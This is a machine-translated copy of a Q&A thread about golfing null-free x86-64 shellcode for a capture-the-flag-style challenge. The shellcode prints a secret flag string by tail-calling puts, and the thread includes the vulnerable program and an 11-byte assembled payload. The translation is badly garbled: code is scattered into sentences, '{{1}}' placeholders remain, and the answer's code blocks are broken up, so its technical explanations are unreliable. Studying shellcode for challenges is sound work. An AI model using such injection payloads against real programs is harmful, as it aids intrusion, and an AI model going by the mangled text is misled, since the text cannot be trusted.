压缩 shellcode 打印一个寄存器指向的以 0 结尾的字符串,给定 puts 或 printf 在已知的绝对地址?

问题描述

背景:我是初学者,试图了解如何组装高尔夫,尤其是解决在线挑战。

编辑:澄清:我想在 RDX 的内存地址打印值。所以“超级秘密!”

创建一些可以RDX值的shellcode。不允许使用空字节。

程序是用 c 标准库编译的,所以我可以访问 puts / printf 语句。它在 x86 amd64 上运行。

$rax   : 0x0000000000010000  →  0x0000000ac343db31
$rdx   : 0x0000555555559480  →  "SUPER SECRET!"
gef➤  info address puts
Symbol "puts" is at 0x7ffff7e3c5a0 in a file compiled without debugging.
gef➤  info address printf
Symbol "printf" is at 0x7ffff7e19e10 in a file compiled without debugging.

这是我的尝试(英特尔语法)

xor ebx,ebx ; zero the ebx register
inc ebx ; set the ebx register to 1 (STDOUT
xchg ecx,edx ; set the ECX register to RDX
mov edx,0xff ; set the length to 255
mov eax,0x4 ; set the syscall to print
int 0x80 ; interrupt

hexdump of my code

我的尝试是 17 字节并且包括空字节,这是不允许的。还有什么其他方法可以降低字节数?有没有办法在仍然节省字节的同时调用 puts / printf

详细信息:

我不太确定哪些信息是有用的,哪些不是。

文件详情:

ELF 64-bit LSB shared object,x86-64,version 1 (SYSV),dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2,for GNU/Linux 3.2.0,BuildID[sha1]=5810a6deb6546900ba259a5fef69e1415501b0e6,not stripped

源代码:

void main() {
        char* flag = get_flag(); // I don't get access to the function details
        char* shellcode = (char*) mmap((void*) 0x1337,12,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);
        mprotect(shellcode,PROT_READ | PROT_WRITE | PROT_EXEC);
        fgets(shellcode,stdin);
        ((void (*)(char*))shellcode)(flag);
}

main 的反汇编:

gef➤  disass main
Dump of assembler code for function main:
   0x00005555555551de <+0>:     push   rbp
   0x00005555555551df <+1>:     mov    rbp,rsp
=> 0x00005555555551e2 <+4>:     sub    rsp,0x10
   0x00005555555551e6 <+8>:     mov    eax,0x0
   0x00005555555551eb <+13>:    call   0x555555555185 <get_flag>
   0x00005555555551f0 <+18>:    mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551f4 <+22>:    mov    r9d,0x0
   0x00005555555551fa <+28>:    mov    r8d,0xffffffff
   0x0000555555555200 <+34>:    mov    ecx,0x22
   0x0000555555555205 <+39>:    mov    edx,0x0
   0x000055555555520a <+44>:    mov    esi,0xc
   0x000055555555520f <+49>:    mov    edi,0x1337
   0x0000555555555214 <+54>:    call   0x555555555030 <mmap@plt>
   0x0000555555555219 <+59>:    mov    QWORD PTR [rbp-0x10],rax
   0x000055555555521d <+63>:    mov    rax,QWORD PTR [rbp-0x10]
   0x0000555555555221 <+67>:    mov    edx,0x7
   0x0000555555555226 <+72>:    mov    esi,0xc
   0x000055555555522b <+77>:    mov    rdi,rax
   0x000055555555522e <+80>:    call   0x555555555060 <mprotect@plt>
   0x0000555555555233 <+85>:    mov    rdx,QWORD PTR [rip+0x2e26]        # 0x555555558060 <stdin@@GLIBC_2.2.5>
   0x000055555555523a <+92>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555523e <+96>:    mov    esi,0xc
   0x0000555555555243 <+101>:   mov    rdi,rax
   0x0000555555555246 <+104>:   call   0x555555555040 <fgets@plt>
   0x000055555555524b <+109>:   mov    rax,QWORD PTR [rbp-0x10]
   0x000055555555524f <+113>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x0000555555555253 <+117>:   mov    rdi,rdx
   0x0000555555555256 <+120>:   call   rax
   0x0000555555555258 <+122>:   nop
   0x0000555555555259 <+123>:   leave
   0x000055555555525a <+124>:   ret

在 shellcode 执行前注册状态:

$rax   : 0x0000000000010000  →  "EXPLOIT\n"
$rbx   : 0x0000555555555260  →  <__libc_csu_init+0> push r15
$rcx   : 0x000055555555a4e8  →  0x0000000000000000
$rdx   : 0x0000555555559480  →  "SUPER SECRET!"
$rsp   : 0x00007fffffffd940  →  0x0000000000010000  →  "EXPLOIT\n"
$rbp   : 0x00007fffffffd950  →  0x0000000000000000
$rsi   : 0x4f4c5058
$rdi   : 0x00007ffff7fa34d0  →  0x0000000000000000
$rip   : 0x0000555555555253  →  <main+117> mov rdi,rdx
$r8    : 0x0000000000010000  →  "EXPLOIT\n"
$r9    : 0x7c
$r10   : 0x000055555555448f  →  "mprotect"
$r11   : 0x246
$r12   : 0x00005555555550a0  →  <_start+0> xor ebp,ebp
$r13   : 0x00007fffffffda40  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0

(这个寄存器状态是下面流水线上的快照)

●→ 0x555555555253 <main+117>       mov    rdi,rdx
   0x555555555256 <main+120>       call   rax

解决方法

既然我已经撒了豆子,并且在评论中“破坏”了在线挑战的答案,我不妨把它写下来。 2 个关键技巧

  • 在带有 0x7ffff7e3c5a0 的寄存器中创建 &puts (lea reg,[reg + disp32]),使用在 +-2^ 范围内的已知 RDI 值disp32 的 31 范围。 (或使用 RBP 作为起点,但不使用 RSP:寻址模式中的 would need a SIB byte)。

    这是 lea edi,[rax+1] 技巧的 the code-golf trick 的概括,从其他小常量(尤其是 0)在 3 个字节中创建小常量,代码运行速度低于 push imm8 / { {1}}。

    disp32 足够大,没有任何零字节;您有几个寄存器可供选择,以防其中一个太接近。

  • Copy a 64-bit register in 2 bytespop reg / push reg,而不是 3 字节 pop reg (REX + opcode + modrm)。如果任一推送都需要 REX 前缀(对于 R8..R15),则不会节省,如果两者都是“非遗留”寄存器,则实际上会消耗字节。

有关更多信息,请参阅 codegolf.SE 上 Tips for golfing in x86/x64 machine code 上的其他答案。

mov rdi,rdx

这正好是 11 个字节,我认为没有办法让它更小。 bits 64 lea rsi,[rdi - 0x166f30] ;; add rbp,imm32 ; alternative,but that would mess up a call-preserved register so we might crash on return. push rdx pop rdi ; copy RDX to first arg,x86-64 SysV calling convention jmp rsi ; tailcall puts 也是 7 个字节,与 LEA 相同。 (如果寄存器是 RAX,则为 6 个字节,但即使是 add r64,imm32 短格式也需要花费 2 个字节才能到达那里,并且 RAX 值仍然是 fgets 返回值,即小的 mmap 缓冲区地址。)

xchg rax,rdi 函数指针不适合 32 位,因此我们需要在任何将其放入寄存器的指令上使用 REX 前缀。否则,我们可以只使用绝对地址 puts(5 个字节),而不是从另一个寄存器派生它。

mov reg,imm32

我构建的不完整的 $ nasm -fbin -o exploit.bin -l /dev/stdout exploit.asm 1 bits 64 2 00000000 488DB7D090E9FF lea rsi,[rdi - 0x166f30] 3 ;; add rbp,imm32 ; we can avoid messing up any call-preserved registers 4 00000007 52 push rdx 5 00000008 5F pop rdi ; copy to first arg 6 00000009 FFE6 jmp rsi ; tailcall $ ll exploit.bin -rw-r--r-- 1 peter peter 11 Apr 24 04:09 exploit.bin $ ./a.out < exploit.bin # would work if the addresses in my build matched yours 在我的机器上使用了不同的地址,但它确实到达了这个代码(在地址 .cmmap_min_addr 处,这是在有趣的 {{ 1}} 作为提示地址,它甚至不是页面对齐的,但在当前 Linux 上不会导致 EIVAL。)

由于我们只使用正确的堆栈对齐对 0x10000 进行尾调用并且不修改任何保留调用的寄存器,因此这应该会成功返回到 0x1337


注意 puts 字节(ASCII NUL,不是 NULL)实际上可以在这个测试程序的 shellcode 中工作,如果不是因为禁止它的要求。

使用 main 读取输入(显然是为了模拟 0 溢出)。 fgets 实际上可以读取gets()又名fgets;唯一的关键字符是 0 又名 '\0' 换行符。见Is it possible to read null characters correctly using fgets or gets_s?

通常缓冲区溢出利用 0xa 或其他在 '\n' 字节处停止的东西,但 strcpy 仅在 EOF 或换行符处停止。 (或者缓冲区大小,缺少一个特性 0,因此它甚至从 ISO C 标准库中被弃用和删除!除非您控制输入数据,否则实际上不可能安全使用)。所以是的,禁止零字节是完全正常的。


顺便说一句,您的 fgets 尝试不可行:What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? - 您不能使用 32 位 ABI 将 64 位指针传递给 gets,以及您想要的字符串输出不在虚拟地址空间的低32位。

当然,对于 64 位 int 0x80 ABI,如果您可以对长度进行硬编码,那就没问题了。

write

但这是 12 个字节,并且对字符串的长度进行了硬编码(这应该是秘密的一部分?)。

syscall 可以确保长度至少为 255,在这种情况下实际上更多,如果你不介意在你想要的字符串后面得到大量的垃圾,直到写入命中未映射的页面并提前返回。 这将节省一个字节,使其成为 11

(有趣的事实是,Linux push rdx pop rsi shr eax,16 ; fun 3-byte way to turn 0x10000` into `1`,__NR_write 64-bit,instead of just push 1 / pop mov edi,eax ; STDOUT_FD = __NR_write lea edx,[rax + 13 - 1] ; 3 bytes. RDX = 13 = string length ; or mov dl,0xff ; 2 bytes leaving garbage in rest of RDX syscall 在成功写入一些字节时不会返回错误;而是返回它确实写入的字节数。如果您再次尝试使用 {{1} },你会得到一个 mov dl,0xff 返回值来传递一个错误的指针来写入。)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...